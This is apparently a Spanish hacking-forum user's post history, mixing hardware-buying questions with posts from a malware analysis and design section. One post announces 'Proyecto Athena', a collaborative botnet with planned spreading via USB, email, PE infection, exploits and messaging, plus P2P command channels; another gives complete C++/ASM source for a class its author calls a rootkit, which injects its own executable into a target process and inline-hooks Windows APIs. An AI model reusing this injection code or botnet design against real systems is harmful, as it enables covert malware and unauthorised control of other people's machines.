|
Mostrar Temas
|
Páginas: [1] 2 3
|
1
|
Informática / Hardware / Montando un servidor NAS/HTPC
|
en: 1 Septiembre 2011, 01:30 am
|
Bueno, pues aquí estoy, ahora que aún tengo tiempo libre, pensando en el regalo que me haré por navidades, que aún queda mucho pero me gusta pensar mucho las cosas xD. La primera idea era comprar un servidor NAS, para uso personal en casa, puesto que tengo 3(4) PC's y el móvil, y creo que le daría bastante uso, puesto que además alterno vivienda en semana - fin de semana por los estudios, donde por la semana comparto piso con 4 estudiantes más y tengo una conexión a internet buena. Pensé que le daría bastante uso, podría tenerlo siempre encendido y usarlo para hacer respaldos (que me fastidia lo suyo siempre que por un imprevisto me cargo el SO), como servidor de descargas por Bittorrent, P2P, DD, etc. Además, poder compartir estas descargas con los otros 4 compañeros y no tener que andar pendientes unos de otros para no acaparar toda la conexión. Había visto varios equipos a la venta, listos para usar, de los que más me llamaban el Asus NAS-M25. Pero luego pensando un poco, y leyendo otro rato, recapacité y pensé que 180€ por algo que solo soporta dos bahías para discos, y que no incluye los discos, tendría por unos 300€ algo con capacidad de unos 4TB, pero que me parece bastante caro, ya que es el precio que pagué por mi netbook. Luego curioseando vi que alguna gente recurre a armarse su propio NAS, con una placa Mini-ITX con un Atom 330, como ésta, que me parece muy barata, ponle unas RAM's y una caja y saldría más barato que el de Asus, con la ventaja de que podría ser ampliable, e instalando FreeNAS, por ejemplo, haría perfectamente la función de un NAS. Pero luego de un rato, vi una placas Mini-ITX también, de Zotac, la ZOTAC ION ITX A incl. Intel® Atom 330, que si bien es BASTANTE más cara que la que simplemente monta un Atom, incluye una GPU de Nvidia que permite reproducir vídeo en 1080p, por ejemplo, además de numerosas conexiones USB, Wifi, y 3 puertos SATA + 1 eSATA. Con ésto saldría más caro el NAS, pero podría utilizarlo como NAS y como HTPC, quedando algo realmente interesante, podría usarlo para hacer backups, servidor de archivos/web, stream de música al móvil, ssh, servidor de descargas, repetidor wifi y además podría tenerlo al lado de la tele y utilizarlo para reproducir lo que se descarga, instalando una distro linux, que si bien llevaría bastante trabajo configurar todo creo que quedaría algo realmente versátil. Entonces ahí ando, dudando entre las 3 opciones. La que más me gusta es la última, pero tengo la duda de si compensaría el extra de dinero invertido, y que tal rendiría la Zotac esa, en cuanto a consumo/ruído/calor, bueno, sobre todo si alguien me puede orientar un poco porque ando bastante perdido, cualquier idea ayudará, y puesto que hasta navidades queda mucho, tengo tiempo más que de sobra para pensármelo xD. Saludos
|
|
|
2
|
Informática / Hardware / Intel, problemas con los chipsets de las placas base para Sandy Bridge
|
en: 2 Febrero 2011, 18:40 pm
|
http://foro.noticias3d.com/vbulletin/showthread.php?t=353856 Tenía pensado comprar mi PC con Sandy Bridge este mismo sábado, y por lo que leo hasta Abril no sacarán los nuevos chipsets con el defecto arreglado, no puedo esperar tanto. ¿Qué me recomendáis? Me compro la placa en algún sitio donde aún no la hayan descatalogado (puedo usar los puertos SATA3), opto por otro microprocesador, voy al mediamarkt a quemar todo lo que tenga un chip intel, me pego un tiro... ? Saludos
|
|
|
3
|
Informática / Hardware / [Ayuda] Armando mi nuevo PC, varias dudas
|
en: 7 Enero 2011, 22:19 pm
|
Bueno, planeo comprarme un nuevo equipo antes de finales de este mes, llevo ya varios meses ojeando precios y tal, y tengo más o menos decidido lo que quiero, el presupuesto se movería sobre los 1300-1400, ésta es mi primera lista: http://h-sec.org/pc/index.htm Lo más decidido se puede decir que es el micro y la placa base, salvo que me digáis que es una burrada claro. La tarjeta gráfica me gustó la 460, no usaré el pc para jugar, pero quiero que si algún día se me da por probar algún juego no tenga que dar una patada a la gráfica. El disco pues fue de los primeros que vi, ahí agradecería sugerencias, no necesito mucha capacidad, creo que con medio tera iría sobrado. Las tarjetas RAM me están volviendo loco. En las especificaciones del micro dice que la mayor frecuencia soportada es 1066, esto no es demasiado poco? Puedo enchufarle de igual forma una de por ejemplo 1333 aunque funcione como 1066 (Lo digo porque en alternate no hay mucho donde elegir entre las de 1066, la diferencia de precios es mínima y quiero perdirlo todo a la misma tienda). El monitor me pillé ese para aprovechar la conexión HDMI de la gráfica, si me decís que no vale la pena me cojo uno más barato. La caja, ventilador y fuente me pillé las de esa marca que parecen buenos y no son muy caros, no sé, me da un poco igual. Acepto cualquier sugerencia, aunque tengo bastante claro lo de asus-intel-nvidia xD. Gracias
|
|
|
4
|
Programación / Programación C/C++ / ERROR_INVALID_ADDRESS al usar VirtualAllocEx con una dirección fija
|
en: 31 Agosto 2010, 17:37 pm
|
Bueno, pues la duda es lo que dice el título, estoy intentando usar VirtualAlloc o VirtualAllocEx, me da igual, para reservar memoria en una dirección de memoria fija, en concreto en 0x0040000 (teniendo el base address de mi ejecutable en 00300000). Levo días buscando la razón del error pero no encuentro nada que me sirva, ejecutando lo siguiente: #pragma comment(linker,"/NODEFAULTLIB") #pragma comment(linker,"/ENTRY:main") #include <Windows.h> int main() { //CHAR MSG[1024]; //SYSTEM_INFO SystemInfo; //GetSystemInfo(&SystemInfo); //wsprintfA(MSG,"%s%X%s%X","MinimumApplicationAddress: ",SystemInfo.lpMinimumApplicationAddress,"\nMaximumApplicationAddress: ",SystemInfo.lpMaximumApplicationAddress); //MessageBoxA(0,MSG,"Info",MB_ICONINFORMATION); if(!VirtualAllocEx(GetCurrentProcess(),(LPVOID)0x00400000,0x1000,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE)) { MessageBoxA(0,"Error al reservar memoria en 0x00400000",0,MB_ICONERROR); return 0; } MessageBoxA(0,"Memoria Reservada correctamente en 0x00400000","Éxito",MB_ICONINFORMATION); return 0; }
Ojo, linkear el ejecutable con una dirección base diferente de 0x00400000 o en su defecto cambiar la dirección fija a reservar. Éste código, en mi PC Win7 32bits reserva memoria bien sólo a veces, otras veces falla devolviendo last_error ERROR_INVALID_ADDRESS. Viendo con olly me dice que la dirección no está en uso incluso cuando falla, pero el error es como sí la dirección estuviera ya reservada  . Gracias por adelandato 
|
|
|
5
|
Seguridad Informática / Análisis y Diseño de Malware / Proyecto Athena
|
en: 1 Abril 2010, 02:38 am
|
Proyecto Athena
Athena será el nombre del Bot que realizaremos en éste post, un proyecto colaborativo en el que todo el mundo interesado podrá participar aportando código tanto en C como en ASM. El proyecto seguirá estrictamente las siguientes directrices: - El proyecto será OpenSource, el código se alojará en un repositorio al que todo el mundo podrá tener acceso, y al que los colaboradores podrán subir sus aportaciones.
- Todas las posibles compilaciones del proyecto serán enviadas a empresas antivirus con el fin de que el Bot no pueda presentar ningún riesgo para la seguridad.
- La finalidad del proyecto será única y exclusivamente el aprendizaje de técnicas usadas por Botnet's, intentando crear nuevos métodos y valorando la respuesta de las compañías antivirus.
Desarrollo- Se utilizará GoogleCode como repositorio, y Subversion como sistema de control de versiones.
- Para solicitar ser colaborador del proyecto usen un Mensaje Privado
- Todas las funciones deberán estar acompañadas de una documentación detallada.
- Se podrán aportar tanto funciones programadas en ASM como en C/C++.
Log2 Abril 2010: Se realizó una reunión en un IRC con los miembros que hasta ese día se habían unido al proyecto para decidir con que funiones contará el bot. Se llegaron a los siguientes acuerdos: 1. Se realizarán las funciones de conexión y propagación, entendiendo éstas como las más difíciles, y no se desarrollará ningún payload destructivo ni delictivo. 2. Se repartieron los primeros trabajos, los cuales se programarán en los siguientes días y se subirán al repositorio, junto con una detallada documentación en la wiki. 3. Las funciones de propagación que se decidieron implementar son las siguientes: -USB -P2P -AutoMail -Infección PE -Redes Sociales -Propagación Web -Exploits -MSN Spread -Putty Hooking 4. La conexión se decidió realizarla de ésta forma: -Conexión IRC (TEMPORAL) -Conexión P2P -Cualquier nodo hace de Botmaster -Cifrado SSL -Búsqueda de Bots buscando en el rango de país 5. El bot tendrá la siguiente estructura -Shellcode Loader (TLS) + Exe con .reloc (Resource Exe infectado) Colaboradores- SecMAM- RNA- JaixxonJax- Hacker_Zero- biribau- wisehacks- EPILinksProyecto en GoogleCodehttp://code.google.com/p/athenabot/ Wiki en GoogleCodehttp://code.google.com/p/athenabot/wiki/AthenaBot
|
|
|
6
|
Programación / Ingeniería Inversa / [Ayuda cifrado] Analizando Poison Ivy
|
en: 19 Febrero 2010, 18:18 pm
|
Bueno, llevo ya invertido bastante tiempo intentando sacarle las entrañas a la última versión del poison, la 2.3.2, tengo ya casi todo el código comentado del serverbase, hasta que conecta y pasan cosas mágicas. Bueno, la cosa es que di con la rutina que utiliza en servidor y el cliente para cifrar, y no consigo identificarla, pues no se nada de criptografía  . Conozco lo que hace cada instrucción, pero la cifrado en su conjunto no se a que clase de algoritmo pertenece. Necesito saber cómo cifra los datos esa rutina para poder sniffear y modificar los datos que envía, y como voy a hacerlo en C, si no consigo encontrar que algoritmo sigue tendré que copiar los bytes directamente a un buffer y llamar al buffer, sin conocer el algoritmo, algo que me gustaría conocer  . Además, la rutina de cifrado es relativamente larga y bastante sistemática, lo que me hace pensar que no es un algoritmo casero, aunque quizás esté equivocado. Solo necesitaría saber si alguien puede identificar el algoritmo a simple vista y corresponde a un algoritmo conocido o por el contrario es una cifrado "casera": La llamada:  La rutina:  La función marcada como ??? a la cual llama la rutina anterior:  Tambien sé que debe de ser una cifrado que utiliza pass, el pass de conexión  . Saludos, y gracias por anticipado
|
|
|
7
|
Seguridad Informática / Análisis y Diseño de Malware / [SRC][C++/ASM] ClsHookAPI
|
en: 16 Enero 2010, 14:49 pm
|
ClsHookAPI ¿Para qué sirve? La clase ClsHookAPI nos permite crear aplicaciones en las que necesitemos hacer uso de un API Hooking de una forma muy sencilla, de forma que nos permita centrarnos en la programación que reciba el hook. ¿Cómo funciona? La clase lo que hace es inyectar el propio Rootkit en el proceso que tratamos de Hookear mediante ésta técnica. Una vez que tenemos todo el ejecutable en el mismo proceso, el Rootkit instala los Hooks redirigiendo las API's hacia las funciones del Rootkit inyectado en ese mismo proceso. ¿Qué consigues con eso? Al estar el Rootkit perfectamente inyectado en el proceso que queremos hookear, al redirigir las API's hacia las funciones que reciben el hook, las variables utiliadas en esa función, así como las llamadas a otras fuciones, API's, etc funcionarán perfectamente, lo que nos evita tener que preocuparnos de cargar las API's dinámicamente, deltas, variables imposibles, etc. ¿Cuanto facilita la clase el proceso? Al MÁXIMO!. La verdad no se me ocurrió ningúna forma más sencilla. ¿Cómo funciona? Lo primero es llamar al constructor de la clase y setear el proceso que queremos hookear: ClsHookAPI Hook; Hook.SetHookedProcessName("ejecutable.exe");
La función SetHookedProcessName() devuelve TRUE si se puedo abrir el proceso, y FALSE si ocurrió algún error, como que el proceso no esté en ejecución. Luego debemos definir la función que recibirá el hook. La función debe de usar la convención de llamada __stdcall para que no corrompa la pila. En la función podemos usar cualquier API o variable, incluso podemos llamar a la misma API que estamos Hookeando sin temor a que caiga en el hook. En éste caso hookearé MessageBoxA: int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType) { //Llamamos a MessageBoxA normalmente, cambiando el mensaje que muestra return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0); }
Ahora ya podemos instalar el Hook, para eso utilizamos el operador '<<' para setear el nombre de la DLL y la API, y el operador '>>' para indicar a donde queremos redirigir la API: Hook<<"USER32.MessageBoxA"; Hook>>(unsigned long)HookedMessageBoxA;
Ya tendríamos la API MessageBoxA Hookeada  . Nota: #Es necesario setear la dirección a la que se redirigirá la API justo despues de indicar la API que queremos Hookear.¿Puedo Hookear varias API's a la vez? Por supuesto, aquí un ejemplo de 3 Hooks simultáneos: #pragma comment (linker,"/ENTRY:main") #include "ClsHookApi.h" int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType); void __stdcall HookedExitProcess(UINT uExitCode); BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration); int main() { ClsHookAPI miHook; if(miHook.SetHookedProcessName("mensaje.exe")) { miHook<<"USER32.MessageBoxA"; miHook>>(unsigned long)HookedMessageBoxA; miHook<<"KERNEL32.ExitProcess"; miHook>>(unsigned long)HookedExitProcess; miHook<<"KERNEL32.DLL.Beep"; miHook>>(unsigned long)HookedBeep; } return 0; } int __stdcall HookedMessageBoxA(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType) { return MessageBoxA(0,"MessageBoxA Hookeada!!!",lpCaption,0); } void __stdcall HookedExitProcess(UINT uExitCode) { MessageBoxA(0,"Has llamado a ExitProcess!","xD",0); return ExitProcess(uExitCode); } BOOL __stdcall HookedBeep(DWORD dwFreq,DWORD dwDuration) { Beep(1000,100); Beep(1000,100); return Beep(1000,100); }
¿Vale, me la das ya? Claro  . Pongo aquí el código aunque es un poco largo. Más abajo ponto el proyecto de ejemplo en descarga. ClsHookAPI.h//---------------------------------------------------------------------------------------------------- //Autor: Hacker_Zero //Fecha: 11 enero 2010 //Nombre: ClsHookApi //Descripción: // Clase en C++ que permite hookear API's de forma simultánea, facilitando enormemente //la programación de las funciones que reciven el hook así como la instalación de los //propios hooks. //---------------------------------------------------------------------------------------------------- //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html> //Eres libre de utilizar, modificar y distribuír ésta clase siempre que mantengas ésta cabecera //---------------------------------------------------------------------------------------------------- #include <windows.h> #include <Tlhelp32.h> #include <vector> #include <string.h> using namespace std; struct HookStruct { LPSTR lpAPI; LPSTR lpHookFunction; CHAR lpBuffer[11]; HookStruct* previousHookStruct; HookStruct* nextHookStruct; }; #ifndef HOOKAPI_H #define HOOKAPI_H void HookApi(HookStruct* miHookStruct); void mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer); void ControlFunction(); void Caller(); void UninstallHooks(HookStruct* miHookStruct); void RestoreHooks(HookStruct* miHookStruct); class ClsHookAPI { public: ClsHookAPI(); ClsHookAPI& operator<<(LPSTR HookName); ClsHookAPI& operator>>(unsigned long lpFunctionHook); bool SetHookedProcessName(LPSTR ProcessName); private: void AddFunction(HookStruct miHookStruct); void InstallHook(HookStruct* miHookStruct); vector<HookStruct> Hooks; BOOL ExeInjected; HANDLE hProcess; LPSTR InjectedExeBaseAddress; HookStruct* lastInjectedHookStruct; }; #endif
ClsHookAPI.cpp#include "ClsHookApi.h" //Constructor de la clase ClsHookAPI::ClsHookAPI() { InjectedExeBaseAddress=NULL; lastInjectedHookStruct=NULL; ExeInjected=false; } //Sobrecarga del operador '<<' ClsHookAPI& ClsHookAPI::operator<<(LPSTR HookName) { //Obtenemos la DLL y la API de HookName string strHookName; strHookName.append(HookName); string strDllName=strHookName.substr(0,strHookName.find_last_of(".")); string strApiName=strHookName.substr(strHookName.find_last_of(".")+1); //Inicializamos la estructura y seteamos el puntero a la API HookStruct miHookStruct; miHookStruct.lpAPI=(LPSTR)GetProcAddress(LoadLibraryA(strDllName.c_str()),strApiName.c_str()); //Añadimos la estructura al Array AddFunction(miHookStruct); return *this; } //Sobrecarga del operador '>>' ClsHookAPI& ClsHookAPI::operator>>(unsigned long lpFunctionHook) { Hooks.back().lpHookFunction=(LPSTR)lpFunctionHook; InstallHook(&Hooks.back()); return *this; } void ClsHookAPI::AddFunction(HookStruct miHookStruct) { //Si es el primer elemento que añadimos if(!Hooks.size()) { miHookStruct.previousHookStruct=NULL; } else { miHookStruct.previousHookStruct=this->lastInjectedHookStruct; } miHookStruct.nextHookStruct=NULL; //Insertamos la estructura en el array Hooks.push_back(miHookStruct); return; } //Seteamos el nombre del proceso en el que inyectaremos bool ClsHookAPI::SetHookedProcessName(LPSTR ProcessName) { HANDLE bakhProcess=hProcess; hProcess=NULL; HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); PROCESSENTRY32 pInfo; pInfo.dwSize=sizeof(PROCESSENTRY32); //Obtenemos el PID del proceso Process32First(hSnapshot,&pInfo); for(;Process32Next(hSnapshot,&pInfo);) { if(!lstrcmpA(pInfo.szExeFile,ProcessName)) { if(OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID)) { ExeInjected=false; hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pInfo.th32ProcessID); } } } if(!hProcess) { hProcess=bakhProcess; return false; } return true; } void ClsHookAPI::InstallHook(HookStruct* miHookStruct) { //Nos inyectamos en el proceso si no lo hemos hecho ya if(ExeInjected==false) { PIMAGE_DOS_HEADER IDH; PIMAGE_NT_HEADERS INTH; PIMAGE_SECTION_HEADER ISH; LPSTR lpFileName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH); GetModuleFileName(NULL,lpFileName,MAX_PATH); HANDLE hFile=CreateFileA(lpFileName,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,0); DWORD szFile=GetFileSize(hFile,0); DWORD dwBytes; LPSTR lpFileMaped=(LPSTR)GlobalAlloc(GPTR,szFile); ReadFile(hFile,lpFileMaped,szFile,&dwBytes,0); CloseHandle(hFile); //Obtenemos la cabecera DOS y PE en las estructuras IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0]; INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew]; //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(this->hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Copiamos la cabecera DOS y PE al buffer WriteProcessMemory(this->hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0); //Copiamos las secciones en su VirtualOffset en el buffer for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++) { ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i]; WriteProcessMemory(this->hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0); } //Calculamos el delta entre la dirección del buffer y el ImageBase DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase); //------------------------------------------------------------ /* -Reubicamos la dirección base del ejecutable :D- */ //------------------------------------------------------------ //Obteemos el Image Base Relocation //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION)); PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); //Vamos recorriendo todas las etradas del bloque for(DWORD n=0;IBR->VirtualAddress>0;n++) { //Obtenemos el Bloque de reubicación LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress); //Obtenemos la primera entrada del bloque LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION)); //Recorremos todas las entradas del bloque for(DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++) { WORD valor; ReadProcessMemory(this->hProcess,RelocationEntry,&valor,2,0); //Obtenemos los 4 bits que definen el tipo de reubicación DWORD type=valor>>12; //Obtenemos los 12 bits que definen la dirección de la reubicación DWORD offset=valor&0xFFF; //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta if(type==IMAGE_REL_BASED_HIGHLOW) { //Añadimos a la dirección que depende del imagebase original //el delta entre el imagebase y nuestra dirección base LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset); DWORD NewValue; ReadProcessMemory(this->hProcess,newAddr,&NewValue,4,0); NewValue+=Delta; WriteProcessMemory(this->hProcess,newAddr,&NewValue,4,0); } } //Vamos al siguiente bloque PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock); ReadProcessMemory(this->hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0); } GlobalFree(IBR); //--------------------------------------------------------------------- /* -Cargamos los valores de la IAT para poder llamar a las API's- */ //--------------------------------------------------------------------- PIMAGE_THUNK_DATA ITD; PIMAGE_THUNK_DATA PITD; PIMAGE_IMPORT_BY_NAME IIBN; //Comprobamos si hay Import Data Descriptor if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0) { //Obtenemos el Import Data Descriptor //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para //poder trabajar con él más comodamente PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR)); PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); //Vamos recorriendo todas las Dll's importadas por el ejecutable for(;IID->Name;) { //Obtenemos la longitud del nombre de la dll DWORD szName=0; CHAR miByte=1; for(int i=0;miByte;i++) { szName=i; ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name+i,&miByte,1,0); } //Obtenemos el nombre de la dll LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1); ReadProcessMemory(this->hProcess,ExeBuffer+IID->Name,lpName,szName+1,0); //Cargamos la dll HMODULE hLib=LoadLibraryA(lpName); //Obtenemos la dirección al primer miembro del array Image Thunk Data's PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk); ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA)); ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); //Vamos recorriendo las funciones importadas for(DWORD x=0;ITD->u1.Ordinal;x++) { miByte=1; //Obtenemos la longitud del nombre de la API for(int i=0;miByte;i++) { szName=i; LPSTR puntero=ExeBuffer+ITD->u1.Function+2; puntero+=i; ReadProcessMemory(this->hProcess,puntero,&miByte,1,0); } //Cargamos el Image Import By Name para obtener el nombre IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName); ReadProcessMemory(this->hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0); //Obtenemos la dirección de la función y la guardamos en la IAT DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name); WriteProcessMemory(this->hProcess,ExeBuffer+IID->FirstThunk+x*sizeof(IMAGE_THUNK_DATA),&lpAPI,4,0); PITD++; ReadProcessMemory(this->hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0); } PIID++; ReadProcessMemory(this->hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0); GlobalFree(lpName); GlobalFree(ITD); } GlobalFree(IID); } this->InjectedExeBaseAddress=ExeBuffer; this->ExeInjected=true; } //Cambiamos el ImageBase a la dirección de la función que recibe el hook miHookStruct->lpHookFunction=(LPSTR)((unsigned long)this->InjectedExeBaseAddress+(unsigned long)miHookStruct->lpHookFunction-(unsigned long)GetModuleHandle(NULL)); //Reservamos espacio para la estructura en el proceso en el que inyectamos HookStruct* lpHookStruct=(HookStruct*)VirtualAllocEx(this->hProcess,0,sizeof(HookStruct),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Esribimos la estructura en el espacio reservado WriteProcessMemory(this->hProcess,lpHookStruct,miHookStruct,sizeof(HookStruct),0); //Seteamos el valor de nextHookStruct de la HookStruct anterior a la que acabamos de inyectar HookStruct* lastHookStruct=(HookStruct*)GlobalAlloc(GPTR,sizeof(HookStruct)); ReadProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0); lastHookStruct->nextHookStruct=lpHookStruct; WriteProcessMemory(this->hProcess,lastInjectedHookStruct,lastHookStruct,sizeof(HookStruct),0); //Seteamo el valor de lastInjectedHookStruct this->lastInjectedHookStruct=lpHookStruct; //Obteemos la dirección de la función HookApi DWORD lpHookApi=(DWORD)this->InjectedExeBaseAddress+(DWORD)HookApi-(DWORD)GetModuleHandle(NULL); //Llamamos al EntryPoint CreateRemoteThread(this->hProcess,0,0,(LPTHREAD_START_ROUTINE)lpHookApi,(HookStruct*)lpHookStruct,0,0); return; } //Pequeño código en ASM que por el cual sustituimos el comienzo de la API void __declspec(naked) Caller() { __asm { push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por el puntero a HookStruct push 0x00400000 //~Ésta dirección se sustituye en tiempo de ejecución por la dirección de ControlFunction ret } } void UninstallHooks(HookStruct* miHookStruct) { __asm pushad; //Nos desplazamos al primer Hook for(;miHookStruct->previousHookStruct!=NULL;) { miHookStruct=miHookStruct->previousHookStruct; } //Desinstalamos todos los Hooks for(;miHookStruct!=NULL;) { mCopyMemory(miHookStruct->lpAPI,miHookStruct->lpBuffer,11); FlushInstructionCache(GetCurrentProcess(),0,0); miHookStruct=miHookStruct->nextHookStruct; } __asm popad; } void RestoreHooks(HookStruct* miHookStruct) { __asm pushad; //Nos desplazamos al primer Hook for(;miHookStruct->previousHookStruct!=NULL;) { miHookStruct=miHookStruct->previousHookStruct; } //Volvemos a instalar todos los Hooks for(;miHookStruct!=NULL;) { //Copiamos los X primeros bytes de la api a nuestro buffer mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11); //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4); //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction LPSTR dirControlFunction=(LPSTR)ControlFunction; mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4); //Cambiamos los 10 primeros bytes de la API por la función Caller mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11); FlushInstructionCache(GetCurrentProcess(),0,0); miHookStruct=miHookStruct->nextHookStruct; } __asm popad; } //Función a la que salta la API hookeda en que se inyectó 'Caller' void __declspec(naked) ControlFunction() { __asm { jmp go miHookStruct: nop nop nop nop retornar: _emit 0x68 //push dirRetorno: nop nop nop nop _emit 0xC3 //ret RetornoApi: nop nop nop nop Temp: nop nop nop nop go: //Sólo modificamos eax para no modificar más registros de los que modifica la API //Copiamos a Temp el primer parámetro que hay sobre la pila (lpHookStruct) mov eax,Temp push dword ptr ds:[esp] pop dword ptr ds:[eax] //Copiamos lpHookStruct a miHookStruct push 4 push Temp push miHookStruct call mCopyMemory add esp,12 //Restauramos la pila //Quitamos lpHookStruct de la pila add esp,4 //Copiamos a Temp el primer parámetro que hay sobre la pila (dirección de retorno) mov eax,Temp push dword ptr ds:[esp] pop dword ptr ds:[eax] //Copiamos la dirección de retorno a dirRetorno push 4 push Temp push dirRetorno call mCopyMemory add esp,12 //Restauramos la pila //Quitamos la direcc de retorno de la pila add esp,4 //LLamamos a UninstallHooks para desinstalar todos los hooks antes de llamar a la función que recive el Hook mov eax,miHookStruct push dword ptr ds:[eax] call UninstallHooks add esp,4 //Llamamos a la función que recive el hook y copiamos el retorno a RetornoApi mov eax,miHookStruct mov eax,dword ptr ds:[eax] call dword ptr ds:[eax+0x04] push eax mov eax,RetornoApi pop dword ptr ds:[eax] //Restauramos todos los Hooks mov eax,miHookStruct push dword ptr ds:[eax] call RestoreHooks add esp,4 //Movemos a eax el retorno de la API mov eax,RetornoApi push dword ptr ds:[eax] pop eax //Saltamos a la dirección de retorno jmp retornar } } void HookApi(HookStruct* miHookStruct) { __asm pushad; //Damos permisos de escritura, lectura y ejecución a nuestro buffer DWORD OldProtection; VirtualProtect((LPVOID)miHookStruct->lpBuffer,11,PAGE_EXECUTE_READWRITE,&OldProtection); // Le damos permisos de ejecución a los X primeros bytes de la api VirtualProtect((LPVOID)miHookStruct->lpAPI,11,PAGE_EXECUTE_READWRITE,&OldProtection); //Copiamos los X primeros bytes de la api a nuestro buffer mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11); //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4); //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction LPSTR dirControlFunction=(LPSTR)ControlFunction; mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4); //Cambiamos los 10 primeros bytes de la API por la función Caller mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11); FlushInstructionCache(GetCurrentProcess(),0,0); __asm popad; } //Función que simula RtlCopyMemory void __declspec(naked) mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer) { __asm { pushad mov esi,[esp+0x28] //bLectura mov ecx,[esp+0x2C] //lenBuffer mov edi,[esp+0x24] //bEscritura dec ecx bCopyMemory: dec ecx movsb cmp ecx,0 jge bCopyMemory popad ret } }
Descargar EjemploNota: El ejecutable hookeado en el proceso de ejemplo se puede encontrar en la carpeta release, junto con el source del mismo.Saludos 
|
|
|
8
|
Seguridad Informática / Análisis y Diseño de Malware / Inyección de archivos en un proceso [1 proceso 2 ejecutables]
|
en: 8 Enero 2010, 01:22 am
|
